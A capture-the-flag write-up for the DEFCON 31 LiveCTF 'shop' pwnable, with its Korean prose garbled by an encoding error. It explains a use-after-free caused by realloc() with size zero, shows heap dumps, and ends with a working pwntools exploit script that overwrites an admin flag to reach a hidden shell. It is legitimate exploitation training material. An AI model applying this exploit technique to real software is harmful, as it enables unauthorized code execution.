DEFCON 31 LiveCTF - shop
DEFCON 31 LiveCTF pwnable challenge ๋ก๊ทธ์ธ ์ดํ์ ๋ฉ๋ด์์ 7๋ฒ์ ์ ํํ๋ฉด ํธ์ถ๋๋ ์จ๊ฒจ์ง ๊ทธ๋ฐ๋ฐ ๋ฐ๋ผ์ A ๊ณ์ ์ ๋ง๋ค๊ณ ์ด๋ฌํ ์์๋ก ํ์ด๋ก๋๋ฅผ ์์ฑํด์, A์ ๋ค์ A๋ก ๋ก๊ทธ์ธํ ํ์ item์ ์ถ๊ฐํด์ ์์ด ๋จ์ด์ ธ์ ์ค์ ๊ฐ์ด ์ ๋ฎ์๋์ง ํ์ธํด๋ณด๋ ๊ณฐ๊ณฐ์ด ์๊ฐํด๋ณด๋ ๋ค์๊ณผ ๊ฐ์ ๋ฌธ์ ๊ฐ ์์๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก๋ 0x00. Introduction
[*] '/home/user/uaf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled Structures
struct credential {
char is_admin; // alignment ๋๋ฌธ์ ์ด์ฐจํผ 8๋ฐ์ดํธ๋ฅผ ์ฐจ์ง
struct shelf *shelf_ptr;
char *username;
char *password;
struct credential *next_cred;
}
struct shelf {
long count;
struct item *item_ptr;
}
struct item {
long number;
long price;
char *name;
char *description;
} Goal
unsigned __int64 hidden_1C83()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
if ( LOBYTE(login_info_4108->is_admin) )
system("/bin/sh");
else
puts("Not an admin");
return v1 - __readfsqword(0x28u);
}hidden_1C83()์ด ์กด์ฌํ๋ค. ์ฌ๊ธฐ์์ login_info์ ์ฒซ ๋ฐ์ดํธ, ์ฆ is_admin์ ๊ฐ์ด 0์ด ์๋๋ฉด ์์ ๋์์ค๋ค. 0x01. Vulnerability
unsigned __int64 add_item_1357()
{
...
tmp = realloc(shelf_ptr->item_ptr, 0x20 * (shelf_ptr->count + 1));
if ( tmp )
{
++shelf_ptr->count;
shelf_ptr->item_ptr = tmp;
memcpy(&shelf_ptr->item_ptr[shelf_ptr->count - 1], &selected, sizeof(shelf_ptr->item_ptr[shelf_ptr->count - 1]));
}
...
}
unsigned __int64 remove_item_14B6()
{
...
tmp = realloc(shelf_ptr->item_ptr, 0x20 * (shelf_ptr->count - 1));
if ( tmp )
{
--shelf_ptr->count;
shelf_ptr->item_ptr = tmp;
}
else
{
puts("Error removing item");
}
...
}add_item_1357()์์ item์ ์ถ๊ฐํ๋ฉด item_ptr์ ํ ์์ญ์ด ํ ๋น๋๋ค. ์ด๊ฒ์ remove_item_14B6()์์ item์ ์ญ์ ํ ๋ ์ฒญํฌ ์ฌ์ด์ฆ๋ง ์ค์ฌ์ ์ฌํ ๋นํ๋๋ฐ ์ฌ์ด์ฆ๊ฐ 0์ด ๋์ ๋ realloc()์์ NULL์ด ๋ฆฌํด๋๋ค.shelf_ptr->item_ptr์ ๊ฐ์ด ์ด๊ธฐํ๋์ง ์๊ณ ๊ทธ๋๋ก ๋จ์์๊ณ , ์ญ์ ์ดํ ๋ค์ add_item_1357()์ ํธ์ถํ ๋ ํด์ ๋ ์์ญ์ ์ ๊ทผ์ด ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ UAF ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค. 0x02. Exploit
unsigned __int64 open_account_1932()
{
...
tmp = malloc(0x28uLL);
LOBYTE(tmp->is_admin) = 0;
...
}open_account_1932()๋ฅผ ๋ณด๋ฉด ๊ณ์ ์ ์์ฑํ๊ณ ๋ฐ๋ก is_admin์ 0์ผ๋ก ๋ง๋ ๋ค.item์ ์ถ๊ฐ ํ ์ญ์ ํ์ฌ ํด์ ๋ ์์ญ์ B ๊ณ์ ์ credential ๊ตฌ์กฐ์ฒด๊ฐ ๊ฐ๋ฆฌํค๋๋ก exploit์ ๊ตฌ์ฑํ๋ค.item_ptr๊ณผ B์ credential์ด ๊ฐ์ ์์ญ์ ์์นํ๊ฒ ๋ง๋ค ์ ์๊ณ ,item->number๋ฅผ ๋ณต์ฌํ๋ ๊ณผ์ ์์ is_admin์ด ๋ฎ์ด๋ ์๋๋ฆฌ์ค๋ฅผ ์๊ฐํ์ผ๋โฆ# Credential of B - BEFORE
gefโค x/5gx 0x0000555555559330
0x555555559330: 0x0000000555555500 0x00005555555593a0
0x555555559340: 0x0000555555559360 0x0000555555559380
0x555555559350: 0x0000000000000000
# Credential of B - AFTER
gefโค x/5gx 0x0000555555559330
0x555555559330: 0x0000000555555559 0x4ec540a62b019163
0x555555559340: 0x0000555555559360 0x0000555555559380
0x555555559350: 0x0000000000000000item->number๊ฐ ์๋ ํด์ ๋ chunk์ ๋ฉํ ๋ฐ์ดํฐ๋ก ๋ฎ์ฌ์์๋ค.remove_item_14B6()์์ realloc()์ด NULL์ ๋ฆฌํดํด์ item_ptr ์ด๊ธฐํ๋ ๋ฌผ๋ก count ๊ฐ๋ ์์์ง์ง ์์add_item_1357()๋ฅผ ํ๋ ๊ณผ์ ์์ count ๊ฐ์ด ์์ง 1์ด๋ฏ๋ก 0x40๋งํผ realloc()์ ์์ฒญํจcredential์ด ์๋ ์์ญ์ ๋ค์ free๋ ์ ๋ ์๊ธฐ ๋๋ฌธ์ ์์ ๋ค๋ฅธ ์์ญ์ด ํ ๋น๋จrealloc ๊ณผ์ ์์ ๋ฉํ ๋ฐ์ดํฐ๊ฐ ์ฐ์ฌ์ง๋ฉด์ is_admin์ด ๋ฎ์ด๊ฒ ๋์ด ๋คํํ exploit์ด ์ฑ๊ณตํ๋ค. ์ด์ฉ๋ค ๋ณด๋ unintended solution์ผ๋ก ํผ ๊ฒ ๊ฐ๋คโฆ ใ
ใ
ใ
ใ
0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys
BINARY = "uaf"
LIBRARY = "libc.so.6"
code_base = 0x0000555555554000
bp = {
'main' : code_base + 0x1DC7,
'open_account' : code_base + 0x1932,
'hidden' : code_base + 0x1C83,
}
gs = f'''
b *{bp['open_account']}
b *{bp['hidden']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def menu(s, inputs: list) :
for i in range(len(inputs)):
r = s.recvuntil(b': ').decode()
if i == 0:
print(r.split('\n')[int(inputs[i]) - 1])
s.sendline(inputs[i].encode())
return
def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
menu(s, ['2', 'aaaa', '1111']) # open_account of A
menu(s, ['2', '1']) # add_item 1
menu(s, ['3', '0']) # remove_item 0
menu(s, ['5']) # logout
menu(s, ['2', 'bbbb', '2222']) # open_account of B
menu(s, ['5']) # logout
menu(s, ['3', 'aaaa', '1111']) # login as A
menu(s, ['2', '2']) # add_item 2
menu(s, ['5']) # logout
menu(s, ['3', 'bbbb', '2222']) # login as B
menu(s, ['7']) # hidden
s.interactive()
if __name__=='__main__':
main()